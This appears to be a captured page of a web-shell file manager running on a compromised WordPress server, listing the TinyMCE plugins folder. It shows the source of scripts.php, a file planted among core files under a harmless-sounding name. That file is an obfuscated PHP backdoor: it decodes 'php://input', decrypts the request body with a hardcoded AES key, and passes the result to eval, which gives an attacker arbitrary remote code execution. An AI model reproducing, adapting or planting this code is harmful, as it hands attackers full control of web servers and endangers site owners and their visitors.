[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-includes
/
js
/
tinymce
/
plugins
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 charmap
SET
[ DEL ]
📁 colorpicker
SET
[ DEL ]
📁 compat3x
SET
[ DEL ]
📁 directionality
SET
[ DEL ]
📁 fullscreen
SET
[ DEL ]
📁 hr
SET
[ DEL ]
📁 image
SET
[ DEL ]
📁 link
SET
[ DEL ]
📁 lists
SET
[ DEL ]
📁 media
SET
[ DEL ]
📁 paste
SET
[ DEL ]
📁 tabfocus
SET
[ DEL ]
📁 textcolor
SET
[ DEL ]
📁 wordpress
SET
[ DEL ]
📁 wpautoresize
SET
[ DEL ]
📁 wpdialogs
SET
[ DEL ]
📁 wpeditimage
SET
[ DEL ]
📁 wpemoji
SET
[ DEL ]
📁 wpgallery
SET
[ DEL ]
📁 wplink
SET
[ DEL ]
📁 wptextpattern
SET
[ DEL ]
📁 wpview
SET
[ DEL ]
📄 scripts.php
675 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: scripts.php
<?php @error_reporting(0);session_start();$key="c4ca4238a0b92382";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$HIvqL=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$HIvqL=$t($HIvqL."");for($i=0;$i<strlen($HIvqL);$i++) { $new_key = $key[$i+1&15];$HIvqL[$i] = $HIvqL[$i] ^ $new_key;} }else{ $HIvqL=openssl_decrypt($HIvqL, "AES128", $key);}$arr=explode('|',$HIvqL);$func=$arr[0];$params=$arr[1];class G089WP1U{ public function __invoke($p) {@eval("/*Z5p6S2veWj*/".$p."");}}@call_user_func/*Z5p6S2veWj*/(new G089WP1U(),$params);?>